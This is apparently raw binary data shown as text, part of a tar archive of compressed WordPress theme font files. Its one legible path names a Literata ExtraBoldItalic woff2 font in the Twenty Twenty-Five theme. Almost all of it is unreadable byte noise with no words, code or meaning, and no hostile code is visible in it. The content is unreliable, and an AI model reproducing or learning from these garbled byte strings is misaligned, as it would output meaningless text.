W#Цm\&KU,ۗ*?G)mN55CGRWU2ƸvOu+R4"TMou>|ؑnܰ;MIHAnZ# I">kɊ 1 "ra:4KErw7=%q#+b3 b#p˪ /0.d,@#̚0DMy>qbjA~5pjG1<4(>\ٳ K( i-:֬a.h2ƪ.nQB2^ ̽mW.7*J,9f~G]\^z\\LXTEsX$I +koLH& UA U,孕aa*r~/U "ήQyZ*WtBFFqe,AM)̻:A~S>@`;)+ws/8,vDp,y~=ugY~q!*oE o:}zP|=3$ 'BpC7>oT?F}$]\iRC~:iJP _)j2'gX9}P~cȪЎzaAY kk4#((IY:G3;yVb;շKXiX)fWlߒپڻz6s~R?\4ȁR) WR>~V,lFzu=b\%Ae:3@w29& {d 44kX!OLz[ j*:U܆>B9WANyL%PYI+FD x*ݺ-)$ܽBVʤ"r5b/(0Q2ϷXyqh" ux`ӆ8,iD)@іJ +T`RDT4:R8ۤ Qߑ^s֑OH;y;i!xB"f rŧo[Xe9]wi6l80bU+}F-ECy ·a7eȽ7dL$‹:7a]=F1,HR3 }2[Rް((ob䞚j,ϞiXXc#˨?B'&H[W >iv u"UXS37!18X>=S*^Ѷ7=e *azc7ߩfZIkN!_|V݅ߐ6O\.B@}ily@(Z鋫ߞ8kTxlרǔ[V3Tu- g|j.$Ge{L{4-u1gBluwMlCr&,9ʴ!PS ӔmeCh-#؆ eCB6sa24I4VPG]5${FceHE}vP֮=^RؘZf94UO0okRFNf'}Yuo4gȢq'(s&xӉzh2i {bj_ ֏&zWۓd],SzD x*˅-]qK&þ7++0,u!}v xZi"kX>+ Ǚ33KWktWrtjzY.Nm-L Ӿ5u,wMMd򽢐B .nR7Ń##Ɠ&B4q((0b6b5Ffڊ"wj|"T,WEo),X'bJ<$غg:)T j fTGcK(:V_= crQ"v5 j yW*1 TG?GD u9-R&ua^}@܈C4ek nla!lT!?P$V\ YxNY`. D<)ҼR9bSCc4%I&p;Ʈ&a28*sϱX'Oc yXU@ ͒Zf DS2p'}ۨ;&]}r>Vg)]`XqV4bd*=Vl@Q%BSIȜc{R}dKҪmA o2*J'*8^Rϑh{20I8eOYfUW pxBLI(t 쥁Fdžw t>:-WB̚GaG ,u\Ny"-_ճ( }{hL6N X%IE^`@*f0gA-r@ 0z 't;SˣǝS{L_}D,L-$+ Q0B3 &څB :p,ݍ<;qлS;x[.35dSvAij}q A zG&ؓ2t87SY$TXB#~g\&U\x~Xc- L3Gm/?^e>F˚,DL޳kfHKDe,FljGss CMyLB@$2UY0+uU#:zRIWug0N}ŴVzwB3iTX2ڣ}3$Zze89^dΈ-+ gXk;OkgogE*"D!,~z\ a Սy vEJ/@<&3XNJw(Daв~&7Q {X;[ʔ1FT[m3)9j Oˋ.0(tB;4!|–$xռ/wsO)+a }rL*iy@ѐU " Jj:)t@{4C4x˒ U1&`g.ȉ6J3oQ^NuYVm5-x‰8dAѐ GY£U`&[4wVɦb`$\W輌4Q@zb =hqaJR#E dϒe]:pbQm<=f0qdAz6\k1񊹯l*FvD?᧯e,5َPk:6c 1]%D@FL3TR5x<>g+`α|ȵ.(LD}`:0qo o;5&|$Kq.k'd:վ=pp .:ʑǾm*( :h ӝɏCnb&9ov$zk `AF ءM>3An*.3[s7ӱ3MsZгA"NZdBXQF~eof:1o*{GL ݋hW6C|?{e1B%S}WRzjHryEIܻN)A %Q%|lVש]f[%8Oa5i"6gcPkeApgm J2dg2Sh-THMގ G#x43z>P;erkx D <]puEFXL-MVK6Qyo2#@0esRĻՇQk jӻ%,E+BQOH"'uM<{m (i wy )EX[C563\ -7s{vj~6`nǶ[tdIG˱p9H[;3ȦZ%DO*Z yEY'AMa%NӋi쌬CR~.C 8T_*3 ' "EtP3^ fe2YSDumX 4߯ӱFdOm,=_}@GÒt}T 0A2K3Y)AFESPnm:0E,NZ-`&2\*oQwE7f}zjbę)z.l\x1=eaakg9!HѤoJ _B=ef%R(WQ(BmD=`#-ػCB<+U k#U~+-`H ٌP%2bq' l3kkwl( 4$-CL $D!Ysa<][ʺXۍ: SvRcs}Xl&w[&9yyD= . OT^x& 7y{2q:.6YV䶸=pZ`"w[OQ: xjٸyX\ߖ (7qP27`H.9:/aD #M'=J hk:*sQڎ}gj%<\ Sb#P"M0Ab(*X\IӄZ+kz.FYD''F)dpNGd49UyIpl ]a&L´@jEJX +rH|7Jk㠌iDT,2sg0ªm2&*Yn$'tϽe*7y6q<ljr C-Ray4p"?S~󻔢B/˴Kh2%%5>9/9JF %Ɵ[4ΓV[?ʏv 6U7EURZF~.!OfSuGv}nZ] {')\*GBKh%Esc'{)ϲbPxUUTyf'ן߯:#!:k' |&k5Ql9wzOkBƤ/`&# Ơ̷UTV[|y=K 2{g̾ha/hӇ zUj^ h7cʏUҤR}=a) Jme<5$\?ي?;98mvW |kgղ.~ mp=Cڧx&,id<4cINUw`wv*XLβ̡.hnv._:{"+ÇC$^jJF8AΉ`$Z9@MPI%h^`atP@p'z+??^e\hga ʈ<!]} 2+R9AY; ޠ+CQ\JzQ&Ȓ EԽz֙!*wmCx.J:jw?./tx=!Sdp&rReQ*M}¨T”oe~j,D-FIU=Ԩ~ C]s缓-OjmB;> Yٌ7RhA[c0of('>q_}t"I25̠褛eND]?KGϖ@|{pn~qx xk>M[r0 :\ Q^)v݀kۅ1TN#5`2XGyGNXgWk0n˻27+ۉk3]av5B6:z9y@l;t9M@Yf ~Cjj0ޥ:gҮrIU7:Tn|a/( cZ v0qe biog\QS{&-)NdZD[ KW~}#t̓!uP\Al\YE\@A AP:7)][,J#¡幇Vi\hK1'0SKjzeLֶYA-#MnUtHb5>8@˖{[%s],a5nr!Ϟ)h{Ji펹ʜ1H#72 8СBϧѨ@E]%e_ VGي Qώvh흃i-9n0!gwst)!EϬ:V,QɡʷIׇ6  gd 8i[64AYޭ(0IvAB[`vE45xNt+vǮTVp# K,Zr;)7`[.kJhc_@guC{VQ@Df&W|3n pg@GK=G[֍ħWn|2N *Vʌ]|j{[Bh{(\aR%rɩ5;ngf_}5xn3sk]?YY׮cͻ%: `G3] Dndc˵XTdm?"Ҡ; 5##|:lp{ڦbVm}ڮSi6VX@y<[&U3IsXF*e@WDI~aB2ܗ"ͬL=l<(n†^izJUe,\ 늓M|C|Hn@qrXԒtldGS *5n&U ,6#2ذZ$x^MPlr']T:Rʎ0Kz,8ĪwΘs*T 4X1Azb_M=T@8튳r2=KXUY b* Kі`{|Un_+w&X2=,n -wW)?oD"ı9/]'qNr _٩Z'Ef`*2?gu;тq=  =pb^F2㆓|j7*Z)#i~j8!ސFk%NVwAe'G~{0KuܼT/61>O>ѣ&,AETm'-~2L+2lKfZ\%SAT ױƢͻJ)i)W[oo߬: ަmbۼu{ %(ܚ6̍ sf塴{zK,ӷ$m#L%'M$hIN$Ȣ]!K߬Vn^qk0nNgWsp5+-.!5{ mDkU0y<~>$ы9ސFk3HmOQxTDT+۹<}-S`p@, V f LjB8>c70آzH> tg-;S᫹4px;p ox fTzjҗj;Ъ[ZcKenXp*D_Cδ $ѫE tf,\l[d'(TƧ. j5d81wSYifr>=WUl@M2]S|Qn<$f*+\)MSuOJaڵM@'Xb"ކyV¬0Z+[J@jT|]kA&a'agKv}Bm-^t:κ/i$pDly'. a%]s(i\[܍81aєYRI <5'eb%  27%R&t3o]ʔm}Sg!&ERh*2 ~j6zwsSbѩэIg27JE9>6" YzmϺMwZрkw$a4eI(%ooi[dO1Hn\9ѫ]T^KKD#t> 1ncog3JXb@ )l JW7uzU fKw7~ml' ~ lKS*zXch'pfϷgq/:~k!˩5wʿ&Ac~3#!|F~* Y(O,2gBL7PxB+-= 2c;ggvs'-zkT]pFIH{|-ek hB_,%wP0oeEћ^LRV׹ N_>9"ZUc|dC>7fWrt @jV8eV$l֘/D޹aB|co$ƏK|)(,<%.&iB:YZD=a PzLѢ X87M\6E07w1fbIerBzP&L dL:u=3Xe-{}t"c0&2 ,B[YWF퐘z,|?h\ڗNx B= sP\gMf?\]uPX g[[-嵌gobh  r 5)M{3->AzUm+I௟'z$Mlrˌsԯ$ew"Uo/a0JOOf'uJ Ooπ*:gx4ys k\ydS)Cl vH:P}@ 0 axPT*O" ӟ♌wJm2@8)f:&]ԍ/=']46G*AkTF-C _E8bO{y7ZvI69ϟ.GWL6}P6aqvR|tg uGVͱZ=y9I@Vyo\,D5Cd?r(@n McK͍ ޫYi-nx`,8r[AjoĆV8ɚM!~5O0J/Ī%qjKgiIPW @8>*Y.#Mc/\Q,qozX5Bc^\s㊜.3Nӫ\_^th=.,&ޗӹrO](pWN@=)hA. ;w[L9`\!hNuv֘W7%̰Y vK&5hMԢf1*&p):d9(& DyD*b/~VgrW2id ﳶgd6{8bݯx6ǚVoIzhۿ5?+/{<:hgW%gF\hvH[ejH9|kϒXR86#)KIp%|;a-l#/d9$Y;p0;[ԬQ oscơ"G?ʇDNù8j#-teŠEal,h⡟fX1fanrCHU 8*YvTfXz6v[X[;l]Δow/X6I>%rGDx4"bN_۩iVlj}8kEF|L%bBOSD0j5;[Ʒb?yܝ[裐Qi(Уh R۽g:LZJ \!BRٲ@)0G#mKyVO Z2% %\EyNєr)!L>jmZm5n19} X[ 3j ~x0)-7f/|V-9pOqhjãeсSfˠ$FqI6>dہWmnJOb@.%X8Rjvtj!kVCSN1ѻ|KKZ人V*۸ 0֛~JRT޶9=+(y2 p6=N"o`zXgN%-ms*i.li#(\IۃV+QRJp>Sk"P|*=5dV@q#F!%.$e7[B/F}ջ'5HmlQkZΒUtv< dcxr $P0uM]|!c s4e;=[͙ΛlvNr=Zmp&-)b mò|c:wiܛĵ%Ĕw"|QVZxt7T{;-ŲBw/SJ!}Ǝ_K=cf"ѣ/)G;Q(Eap:i*?VKV|^KE3EmV09v[idi@W,w/2,@pyɔBQ1| J>2(t!{+' _d.;%g F,~{h'TE@wCi/ -P} Z)(ہ"bjZ\qW&E+쫱kT!l5;],uLX$H8>_,#;}i#qQM`,Cc%nOIQuP`cۂ?D9WĜ]KֽM'܊^ I3b+bKn90R ze\(n$0o*Q䫛N\: v#Ef`)j rỼUB"2WF*DqQ_U_^ uYU, ܗέau=CCWS)Ol_S1w&0p & WF" MP̀mppT:xri`$Yt"gӍ`G{nŶAkPXѰ9ⰋaH.QtYB1֦* h A'ZDh߯ZǶX&CWM+{En?l5p# ٓ:͐ \ÞtQ4o3bȲB#@RSsPY;PDFO#a8Yۡ%քUQYD].1z1y,(J#PS+V ^:UShMʸɫ1 Fe:ނFrBHm?&;k4$'&aeaBby |}# ʣc@R I @a!\7xѰj8]_(b*$9Z|%ibg@ZP5)X&B05)xX$ l+r4cNdc"%H+ CG-ae` ­PYXfA )P펑V'Qfm̓{nۍbj`ģnUbN=jHJjU9]z!-~[aXėɿt^~˞p]M_k'~nn#G0#( Fv03q2]崥n3$EZq+UD@D_~y,8$Xݕ΀\ U}=؜TKčtU/&͐|Gwp-!Ia]ٌ Mk !LR02 CNgC1o+]\ ʧ%܈G)d0s(,Ȃr--7P~BhS[TF a>4Ut3#p􅀙\诣!꺖h`4w7}VG-hKZEL, /ˠBj" ش$_=l*'뺑EDm gVr/7{<ђ*a7qF\@reJwNa]cɓ 3~ٰ ֟gWdGh%ALN2>\Q4?;ug(@1xLۍR;rǭesqK<=A!J'%W3JŹ#颜Msŭ<!JVy1$b?sU0r5?k5~l.2!`!l3.7#՗SL#J:G%Eݧ@1ȳ?%DDp11<ڑan` d!u.[u?C]Mtє9CWɹ<;\G@NʑBz I; qMyu^78꼤 d~'Ky麗xbdyn7 I9h7@~C} -6yZ1G>#B9$L]ϔGFЁ[^`RL^JH}OYp7 {&f#u=*-҂2B~Y2uLo׼OMOY[ ; 8Thbtg\!yG/jcE n#OV 1U tq|x'K2ۀ|>ގ32^;> auaYo;tѻZ/K^!X[ -\>plj]]ؒa ?dsvq7z%PR1bpzft|Y0 &`[Xg!_LJ %)nIW$O_OA7;[+:nqm1@LA0G[D2h=.' >=IDhMo 6@wr8kAO2<F& C2Cd"$"w8$dMF-{!Aj`=_fZ׃v9Sǰ/Ld -ߣDMJylЪ8QlAp"n !&̱j/%{Jy¥<ϝdZʍՔG\DE$|>(`q #DʗY^ڪ)]v>Y&DHW;vRf QPD,,N*@"ՎO88ZO .5A9x4H1w- eFG# %zGE96m 5iP{ ,9B-i'w0f&B}02E]Ë\ZŐY$[%)ROnEǾNpqmA6؄3N}օ5 /Αd9VZ뢝XES[K0c]n A:Ĩ'?wߌ.," ;Ls'oNek?"c$f9{lJ٬ux1{5ӥ=nqgCӶ,t?ݩw mP DD &$B'sз[Yz\/^Wg1YH5Cxn pC-AX z^أ9 Ag=T) GĩkUE ش`(/0J'Q6Y5 *`]>@3&nD+2}B fర_Ģc-հY"ǐXW6{fWi;@*4&m-B&_?GU7G/y2w{7 ֊w@ '_-]w&^mJ:eva(<^ W}heԀG";7hQ>=4~/_mS&š{9'ɋ}WwgurcZ\Z6G3Ŷ;Oa$CzР9u~\)FU^^)R}ؑ%5$.{Xh>Cq843*s^&aB CW@ܩRmDjzvȃ뮪(JIᙊJN^ҏ,M4)I 2V?N$ '!T &AP \oDbT/t'qaJ0YŽWѩ ↄ3LѴzIpbjT5é])f2+<7")(琒N 89 coy_[xōy/-Ds?}]|-\#~J@ӓA"5̒g/n]E>՚z,P5Wp\rYb@\E23fi>euLWpQ(ZśX?8nF(zC.LQ44?G=e' 2+v+(L;K0Ӱ+7J"j"h;_j0Nޗq(P0`e}7;T7~;jÎyYb΅Ylj`оP~p̔h(Z5ХZXhFʣjo1ÃVB$nV4 Rk,ĐCZX{xAX pH'& 5uv)4r.HFA$OƊĶ)v.+R@bg&+Dz(xѮ6)Ʃ5_;ʁHI]Rz/PdDڪ4+1"sZn!3~}~^|=W5rG* B8Wk y1oW/ei34ƋMq]Χ7" ت5RsA6Q̶ptN3t^IBg45QppK4d%b5Ԅ MGR?Mƒq2h'@8^r j}-X3>aUBIʘ/ PKc/ uA92nm-L[Pq+c8=x[dUuv&ϒSTtV?:H6l?ɉ0­'lվu;}ZcgJo$UI1*+]*F4{}v$RHMCa;0u􉺠ez JLHw㷷t0m| +o$jD`{LmH <6pY1Z|z7NMq}~.FI^677{{!xo0YhEy[\4x:\Qcn1FQOn< OK9^kgqTJ놭d)TR52CF6/iam#\z+$B1 ؚ QivS+򪡲AbeˀZuOe!R NOF\>`kLA#Kzzs N#Psz/L ub:v2Vg)]ڨ"46騽y W\5L߷!ܷyjLj!^XRV[ZFHm'D]z 24X贂TJXvŠO_Up{,t~J֌m$?'A _L>x}x30Q@.~9+y/ҫ|i7Wb)Tݤj"5nQ;gZ~86з3#cF&2NkUc5>8F.A"C.é,!9N=C˳T/5e_q^ΧO:*mC-#DpG!68W'{Ü\V zEA780g*7MH7h*낁Q 4WV,$s$Vhn ]JG,O.$zXo-ݔ_9* he]yZ`5?34P4p6mo`+QɰEԄlkqq|YeȈ:w Z *9(ج뚆u;1]'{:jcKa7?`uSԖ0t7ѭoA&A{0g0rFh5$~AMiai<3x&vu4!4"%&ɳ3jtcVgĪ;Y6|do]}4{ 9: G׎TZ-?uFؐRe4F#YD4rwvGd+YoIz\: v@xW?za;ґ[%GgtiznAW޴G3OB> [^ ɻ+?`{x>T{6{{@F[[dO?ռ1jŽ)?r1? Hniz"מgV ýp3{(7w[Bpv^ m3=|P:ϛ^%K%:&!$!j^P 9?!!_fqiDu'g $B_hL3*'l&k:z=84Lr[7~ӫTL G74oJՒ5U( !;]ci<3 "Ri:aퟟq#)zsVd @[bKcM]̦֢lAh)iK8c:#R4B[i4QsItBF`ďY|ܤbCxr6Nzb]Ip]e-La̐YxHZ`݀l;*c.*{3 =x7nUzo uF4e &U͓굒 !Vo{t4I@ & &m~FU'd vJ;֖ c@s0ȫPIgmKvq5lz0pZ=3n߉\]/hwD\9N8jhO(AY0 0Xx4!3bYR(# APP8&(bq!Ej yO3 QYZ$)~jÌai [|0ns9Mj@﮿[aH` gzIdd(>ԥRS/nz[5`Zʺ.eV TSѸ2o#\U:wvM=*_]*'\PT2u!G4|5EԳɪ[釺Lc F+N.`ѧ !%]9nđWcc͟3($?}?/=?<ƟCyB_\m 偷χt~/?S}< ) Q+r'θOKEoa~5Bx +gϲZgCڱQ923-ʴ&[lRD>RKCVJ@QK 8c(¯(%"DxD*K740Q% :"BK- m?e $m)-)Sk#euKloЛ7t5)Vo=PRs@fբ*9<~ke3tS ) KQVgV.;&(RiՒ%&s8-/ɍ%7+y6BĔ5'M &cbtMy}̠6C&eIF~ U;=NYbEah}zX_8*ٿe;[X2Tb~ao|IvР*_QF.:AzF]a33b>b*Yd|F"@6^1.e,$Xyf0ZJfꌭ{Zϲ~IS;̈2smfLS!0 RYV(t$ADqBDI=<\nqܛ$BT4X5[Ns=l+5vh.գ|b.M\CWðycD^! p OknMzԳM+s1_5T_)y;1l_L<VߜԆE@^b)_]x+:m-;{͙¿=]v2F[- 4 |E_h:%"2g fD#pƢS4/p>]S8Z2bqa[}"o,r~HMa-,8E%G?r Vv+ErFjaYD+ `خsq%fffi}o%XG&ge_5/JAB1bZӴ0IAU)V!E髻h͡>)BV) )"RdХӄEExRK1TݤlFi.5@g_7Vp;i;5M?(Z$bZ06w2=KXy#l 2")$u3-QQ3DgzZ9#v /Kʈ6g "/R*4$0D-2%ÕԄj3{^suiÄdR2HWjTϛԉJJT0-sKD~-\b@4ժP^RMۉTtҭR _)W{I᜝騰1TO/mS9;2Z aLlܼwK o! lկ2j sa$y*qf r&4-)gG=UE`lș1a@Կ֡|KX;mk/,ʌ~mUb+>P-6PMJ]g&A#̕h4$Z~]/ֽq+}#g8++ʆ,Q3JPs 8~SS&Y="[=iO3F{F4BlG'Z޴ōYǬMV 8)3$QKwb⽭߱VƛY1ʁȅ {A04(Z~]A,OAo 05?09Ǡ`~zHa"Gu6% PFX̌l-ok,2gvuqR\%#a)ؠ8!ECoD~7]!C2QA n'<ļŠ*`)6KbUA9"da,%nHD5}1cŎ7÷G&JqdS8AʐO13>kOK9;yvO+Aa:B .|H8r䛟@Wu~ R`A5ZYDEi|kjb+>z 1l$?Yj^F~˯MWy *JLoxOPYV*uJ啪NtZqNꪯ!IR9BZ8V{tLUW ׬y` WnI} eJ]ߎHcD{$Qf32sen67ehWiwAcG\$}Ćll@F> <` XRb}6 s װym*VG +\Hr& =f x&վa" j/hCt~mpPECsjckh5ETP{q'C X8x$AR&SPRQ3021sprq+_@PHXD*NUjOvrBv&[[e0`Аh4OYb\˔0L&{!]4\N4mN: Fj3;XMTQZ+~Xo6153ZX( @ D^kt[(AFE}Ԍ4O/ aq1 Ld&&1,pv,9J`௔C{Hךvs5ptQň']DIH&]LY[P*Q鮪Me2يHgrMw;՞q0xQhWR=%=-Gw'*m)AH+ZL=+4w_j~> uI?<<3țxy3hآ~{  {Vȗ'0%20$}1sQ/2y}쇁'gƟ/WpLp9rWG*STmG.Eݝ˫|3+BݸMs'^bJ\ZZZ Ѿ3~sk^=\e5KkG^:un*y'9Hː/nwtr`g_]k*_2m^JP*dTUIU bPcHH4kҬBSJ*ۂPU3u-? g?ls l&.951)-O *`./L``|Nt&yDM &&&F&Y AuXޗə D}F2jz9gp ADOf nDW36l.'#?u}o 2d&@n||D"8պ!,G"_K ,8@v2H'_ m9Mm$BZ >%R*TV{2|l^ aq<,8$.x{?I)y$NR>VOHX{SeTr'pcK8rw>W\p z^*׺0= m:-,ji&-U$|[5\l3:o6!u}LoB%^2O)!0 Phў1Nu@A,ꃻX`.UO/ n4~Dh9Y1E> _\v6׿t0.QjO+ |\Sl Oyj͹M6A7|I|nre8qoͼ_艎w|vv[hLe3N.KT#U@({`.a0iqb;L5trX:SVM ش QK473龹Qx&켈;Zޖ)^FifP =ND|vYJҒ3}6hRU/TϤggte.TS NSbܒ@3٩kt+M!0;!Yua@Zhj̶=gNJbajS(*̟{X,c_jޞJ^NcӸpN-گ!/r;grWTgt9[$+PyC{o{jY6*l/C/u,Gkd.BsfKZFsk)b*s1QAW6kVѬZ) ^ pR& pes:e!"<nYrj[Mw7:5KQ7W$6*Q1$$%JVbugqM#κJb.fXRkҽhnt(*!^Y_oxHkA&U_YC ,Jd.y&C7 W)0n0#1.gޚ5l;πTvEEucQĂTk{APQw{OXg:Q užNTQ1rjs ۗX"uh]E k N/P=nIoq . 0cA7Eu*hFN/`Vi=R)/L*y x':skPz,H1H@ڲpm9A =5}J_v.]d nA^_?|c >!ىUD^'Ɨ;tUf݁N-klM)*o'U'BZV'@?kN?'|0՜v6'W)7Xbw촵Sݼø/l.<%bm`0},Ry+cge0veƶ]WaBXDRk>z „U;(I#,=GgkH>F2A@AӤ845>JĠUH*ugm -RXߍ\*hDuƃ^h#ɪ߳PETԼ#u&íZs$PhBJ`tfqg*ܾNtpn۴G/!#92)Frn:®6Ѣ0lB dM.v@F7]\rŃ++_ L/B  A67l!gR?#v(4Q}Q嘃];Oy؉b1V5oe3(y6B98ot淌/۰U'U写g(k#=$ɠ )@{L8*{'Nr.0{_ejdej#%qm[Gڐ*6zVoN70#K_` 4\wpF{- ]MvꆆrHK!R*`VtA1kO%LD3rįxjzIe,Ys"Df'69 |v]ej{b'KR:omR/xQ Kq,E B}4st~hvƙ]@]ROC 1[v2gk AV{&!ԙu4f^z=̘KlY0i[3( *_xa}nZSwYbAZHB%!Ř4¹ 8{$w>NȊcxR91#nTٺͱc;kU=J 8>,l IlzUpY`z7j5}i|C 1}E:^ =SOV5r7q''ݰ=k: 4_<A.#8K*aʌf|X+K>A&l<~CpjFX# `9xlw${THNٜ*;$> +=Pu` R\uWuI`]yz"@o(iYi_\ ]֟_ތa`Õ7dA cq~%kLy]C,[Es_Ե|]rb E-Vտn=(^@o(R'8ӦszKy/ne/1W]CP}/޽ [%9(cKgQ40Xss!6o~plUB4'gN};h~k %owqѩߛ|_hekIF[q0=*T#Upy%-fݑ]CV#fbi+p`O$Ѽ֞cH`RKdPN׶Ʊ` SSKF߻jBEAaǼ5;N4=~Ɋ_ز'FNku3[0*QVw &[}v=:Ij1y k]X:Dh〦szj 8m̂ \`HwdFm0~hΈψR4Zw~`0WF+0V1~DLjR@&ҏ3'' c K<+V^b֭+Ya7k>s5XjŖk>3e^Laz;b6_ޱm1n7w!liX碐}v܄֭:^#=M 5B,k#0!3H}8:9cp w sۂ3HAyUXΈVnO$|=#8*Q!/BV޶T QX1&M2~'",0fl5 [h:r } "ii)^opz% ׫?OGyp3ܹ^#^Hq~V9*G:Hи"{Z˃e h+)jpslDb؏I,ݪTk~5begSe~=DSv}_>]L|}+Tz hZ=6RnM^AÈV\d_/bgry7ntG<*\>!Wa>B'WF6z bG!4CpR~pJF䔤.J5{[N;NO?| M̬̙ 0 V( jZvo ܶTko`TGfA7/w"#2[R;md$kmZFѮc$?2+U^eVj g "j4CJs8) -=.hxHK5)lV!Dj &L5 b$Sl:ϟj~8Q1I=5 `߃CǢ@9p;#2]QI]`"殣ƱQ!@;C^;*i_;;3`B$"PlǺih[H-0baQ^_X\I^K΀e/ ;glm@7(@:g2!s|fR}r9umYԇd9Zi.̀BCB|$ƣ@;i#i9{KКuSP^'themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2000064400000327514152335264760024240 0ustar00wOF2L0^VZ4`PX  $6$$ ( Z} o$"[͓l#m;OH:ONOU2,\{n_"A؎ k:[+ p| 2:o(g+ˏz3??r4==hY hޛcE(SUH^DBI"`SDᨍ;JƈIx8N;,l/ш޴^i0F5fq%A_JfZk -:DV~x&!) V(ڑ<aT/`L#zcs{\ftY&be)JyrV"AF5]Nϼ|EY5j-j vw1<Ѫ*I׻ wN"L ^܇Əs`U){∧wU z+޺(U:D=iIn Ӫ/i-l`tR#^nL=x,ݛlL??o.qHQA'e|g,悝oaSw2ϕ_a$~btV-2]=窺1zLy6_+˿&juۊ#1_|T$yҫ1_7Lc/(嫤dFFt=7ja2@2z~.XVjqG!7%S0*<+-w\|FYN)#J +LM>dD^dB@cs)AUͥ 1igaf6wi &7!'E8c3X;;QVJ%--!t7m߾mS)"(*J(ؓ5MAY!l/a:\ .V_e3]vLm)m+$B!@D!$LTo)OpPk5t1g&Xca=.@q(<Wխ2l@j!".JJ\,%x']2 B6I>j\쀠ԥ[Aj%K oϿG8 @Bu ~emWyPЁ*a>;oRH(46ًѵ`TE.BD_Ҵ\"`A•f AsuJw5%Gr 9rʻjqݞgG\|:.9p,eՒոY JK·vJx2M|&NZw+U %= Qn#hyf({;DV{W*@DPPd_ P(GAMDT[3-uNI&Ĵt^rBZβ~ϙb9<1SϚ Zgi@G;5<\r5ÌouIAdLap|4-  . ج&]H֔Z:K3{acD!WuuWt!gh̀lMpKN3FFbkǒw-l}Ϟc)cB)YLkV7$AP4(yYGK~7@todͬwudOq!tWhWlg3̡vir8ЙTj%!R wȮTl5^gϤ:%#4oNEv zPwPU7PO"Ε^k#ϲFEЉJ&a<ꞻjw?f#;B][H#2;Qs IΗӝY2Q%+ H!!TR`2vae:O7ԱDd&; P E߯4\J] H # e;Lд%3$[Dv{Y|ȄsmVCI]_QDdg>!DD${޶77ϻʈ.ikDEFptÅ<Cr~>UcUQQQ1ۖu> "RDDJ)!pq2wбd 9: 5dAd G9f, AJ/D^$D",C h# y"S& H҂VdTdɽFH~(J@d%(0 i ',ectC/6X)T_mC!! #eFV;rCH;#G<0;7F֭|m_#ms`;LzP#%yRЂ@)jQT"P*[( @J*RZ T@ &@Ac|j6լuB |P] @5 12+{n]vkߜڟӚE͟tm:VOt_m'C:u"plّ$8J5淰cG?!4Ҟk!Jc7mB4ﳭgA>\>A>{ ߴ%?@/(ߞӁP+jYj`{oZ U6}'g|8e D!G 86~+'"Mc' ItTE:psBLXI;ȡ"f{w̟_q!3\vڲ0BgF4X]B;E/~jo͖xPB)eSU*ىF7k|t6!c?=eIl|k,hFnɤce/yf:f t5#g 0/g&#[~k9v %_j\F^_"5~GV!g-R>^kHuB{@D xn!J;:G-gx<2?hCjM aODm$qAu [$ljVs<)/! c9=x#9 vRwM^钁v}Wov6myy-}׏|ҀVdW~佬g[fy*pWsTH@a& _j(Kx(KN[=_ѱ^Lsw%.eWBj<_^DVgÞa<8H8ųˠ,mqy m/@(sʷt_;D}1Hml@I%Ras<1Kw ٓVUЋPk@(aj4=ټ"5גxb!75⪨kX蟛U꫰{<)(<_|ix;70vN@`>"$P|HGpݝ '1t0ZPLa5v2 '`tH8-RK%Q4cfU$2o'suGmk"%NF>n.%Wq`\ιmoGGsI//Se˨ۼltm<zEc'SGQ rL vEQ^vtZi 0"6X~* H/^:RU/<cGWNL X┋_yo!qT%FF˳|b5SǬ2H GD猿9T_ݢӜ' &cc壖X5%s%uh |Y9-]֙Wص x?hώq"8}"Sg&8}*6}yh Pi;dA~Ι-#@` i8pI+FPP~9 cRZ:Q7 3j5>0S>I۔t ݄WI\ PV ~5'tR;!2u鄉_R+dӪO5Jnw*l.hVRʡ}#^{ϫEaoz}w٫ =@7[{1kr!>a_02g&ƶb23H/j5eteW&d7.ce5\oAovӷ ^ > hgm-z`xʉ^ w$Tp%X bZ;Q7l- fAqUϨżyJ,E% }f^`IOLu\{ ݳh+T\/ XJڷT V0B7>VY=pPU>}7e,7Yي̲׹Bn&oY㳖ܜW۔W!GIyaOOydy|EyscEI#ȭe\hYI6p nG wȊl7:TnmD56 .='|!p'7`Yq4BN]]eqYT֦jN뛀:&ZZ<\.L<ݖD'Y }yzV<.ϋRu-Z`58mJKQ)(aQVzWDm%Z3?wgw;i^ ?L_8IU=dJR`y~Κ DdPs}@B7]ζ 7==f`W ' &d-۶kC90ySC #~-zp]3N&;?;$^/ wf ߑCVU+ 0sҶܾ VH5?fw#ꋬ`}c;\͇ʼn7\Dq0湬d~iF/0U~JMçDTyhV%c݋s5bv/lv?X^ +v}!ǻr79`*/[o [NqM J;M[(Xlj&>^/s^ZC.~Fţ;:Ij Z2z%9mEUH}tXU^>`Vո۶wKΥo}l0Y*?DeCyxڒiEUs\Q y쎘qΞLcjJ35pLcuȼì,;W^Z3Jھ#&) Pɯ1N3>z!{ޙJX1w#2QRf{aTdua5U0,Vl_wZQlݫ|~kgi I%_{S%7I0Cy8elE;SvJ`8uדUmloE8Bt>0/M+e~|מ Q飅sN~A;I7.yin3h>A=JsE %wd~z%3$dL tk9xL؊M^R?ENIvC>?g2J Dݑ$ӑ)sQ&V٢swA7Vg8 mszI@'ۨ|!.b#.x7|zN(_摋Coч_[_*)tICQtN ^3񨰲||y39qZU!|? I'u)8XXNvE=|h*"z~W/fR4\^y^4Ƴ3gt\q\CzxR6ύ8.Wop\bki>o<)h20moaA8th.>8p!w ]h''$8(*DֽfWeТcg>(y hZb*576>bX&x z`u"4ED.^C1Saf}ڦ+dp8/. )_q2N2i uDldM>X$i0Ϥ79?fwQxk[~[@1:PӉ~Š'I9RwV~E&Lsճ1\bkh ;܁!gر%)/AyGA;&8MpGdFNUŎfWdl*!FKI5i#;ka5[2n՟oG fdQ ihE&GWB<1 "$xdK&uP/_>:]F 6٨14I1ۚN vͦ{G;*csop;jpKs s!y  D6Ntэ.^L7v/0DhtRa҂NkZaӎέeBLɩ2|u|g~?9Fj]0:r`J,# m1**έ"%r*5G玲rwH[.9vעf#("KƵ+zmvNHYhj5Tv1ެmڵҿT{d!C7ezfڹr1o ԄݤD:^ֽE0;Ֆ,/~*6e>(%WǯYu-s՝ղ5m鞖)ίZؿ^T+xŞky$0{@kP>k~׎ ҈LB)d+Q, e!)LYxDHbr1 "WTr9[ 5(.U^A^57!~Ma6sGB; _CK*P. D1(N A҄Tjȸ|.䚋ՍqWU4ڢnbm'_.؍6N]E1bO(U}K CAߊ0vń=w`A%"MgUZoD.Wko2VaMɷݔjmkY$; cՔVe]{*:tr`KXd-%$kntm6\{(gMG?VO 9&i zH 